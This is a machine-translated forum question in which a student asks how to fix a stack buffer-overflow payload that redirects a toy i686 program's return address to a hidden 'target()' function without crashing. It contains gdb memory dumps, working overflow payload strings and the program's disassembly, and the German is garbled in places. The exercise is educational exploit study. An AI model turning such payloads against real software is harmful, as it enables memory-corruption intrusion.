Für meine Studien ich versuche, eine Nutzlast zu schaffen, so dass sie den Puffer überläuft und ruft eine „geheime“ Funktion „Ziel“Exploit einen Pufferüberlauf
Dies ist der Code, den ich auf einem i686 zum Testen verwenden
Aufgabe 1: Erstellen Sie eine Nutzlast, damit target() aufgerufen wird. Dies war ziemlich einfach zu tun, indem der EIP durch die Adresse der Zielfunktion ersetzt wurde. Diese
ist, wie der Puffer sieht
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Payload ich verwendet wurde:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
Dies funktioniert gut, aber stoppt mit einem Segmentation Fault.
Aufgabe 2: die Nutzlast in einer Art und Weise ändern, dass es nicht einen Segmentation Fault
stecken Dies ist, wo ich bin nicht geben. Offensichtlich verursacht es einen Segmentierungsfehler, weil wir das Ziel nicht mit der Aufrufanweisung aufrufen, und daher gibt es keine gültige Rücksprungadresse.
Ich habe versucht, die Rücksprungadresse auf dem Stack hinzufügen, aber das half nicht
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Vielleicht jemand mir mit diesem helfen kann. Wahrscheinlich muss ich auch das gesicherte EBP von main hinzufügen?
Ich lege die objdump des Programms
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <[email protected]>
804848f: c9 leave
8048490: c3 ret
08048491 <vulnerable>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 28 sub $0x28,%esp
8048497: 8b 45 08 mov 0x8(%ebp),%eax
804849a: 89 44 24 04 mov %eax,0x4(%esp)
804849e: 8d 45 e8 lea -0x18(%ebp),%eax
80484a1: 89 04 24 mov %eax,(%esp)
80484a4: e8 97 fe ff ff call 8048340 <[email protected]>
80484a9: c9 leave
80484aa: c3 ret
080484ab <main>:
80484ab: 55 push %ebp
80484ac: 89 e5 mov %esp,%ebp
80484ae: 83 e4 f0 and $0xfffffff0,%esp
80484b1: 83 ec 10 sub $0x10,%esp
80484b4: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484b8: 75 12 jne 80484cc <main+0x21>
80484ba: 8b 45 0c mov 0xc(%ebp),%eax
80484bd: 83 c0 04 add $0x4,%eax
80484c0: 8b 00 mov (%eax),%eax
80484c2: 89 04 24 mov %eax,(%esp)
80484c5: e8 c7 ff ff ff call 8048491 <vulnerable>
80484ca: eb 0c jmp 80484d8 <main+0x2d>
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp)
80484d3: e8 58 fe ff ff call 8048330 <[email protected]>
80484d8: b8 00 00 00 00 mov $0x0,%eax
80484dd: c9 leave
80484de: c3 ret
80484df: 90 nop
Bitte fügen Sie einen Hinweis hinzu, über welche Architektur wir hier sprechen. Ich nehme x86 an? –
Ah tut mir leid, ja, es ist i686 – Chris
Es ist knifflig .. Ich versuche, ebp intakt zu halten, um den Stapel nicht zu korrumpieren, aber kann nicht atm herausfinden, wie man an den ebp von main so gelangen, dass der Initialisierungscode, der es aufgerufen hat segfault nicht. –